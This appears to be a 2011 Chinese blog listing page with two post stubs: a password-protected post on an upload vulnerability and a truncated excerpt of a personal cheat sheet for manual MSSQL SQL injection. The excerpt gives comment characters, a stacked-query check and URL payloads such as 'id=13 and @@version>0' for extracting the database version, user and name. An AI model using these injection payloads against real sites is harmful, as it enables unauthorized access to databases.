又一上传漏洞经验分享
该文被密码保护。 阅读全文
posted @ 2011-04-23 23:14 =_=! 阅读(3) 评论(0) 推荐(0) 编辑
Mssql显错和不显错模式下的注入
摘要：
近期用手工注入用习惯了，便列出最近用的Mssql语句，以后方便拿来用！-----------------------------------------------------------------------------------------------------------------------------------Mssql注释符:#--显错模式的:判断是否支持多行;declare @x int--查看当前数据库版本URL?id=13 and @@version>0--查看当前连接数据库用户URL?id=13 and user>0--查看当前数据库名URL?id=1 阅读全文
posted @ 2011-04-23 17:22 =_=! 阅读(836) 评论(0) 推荐(0) 编辑
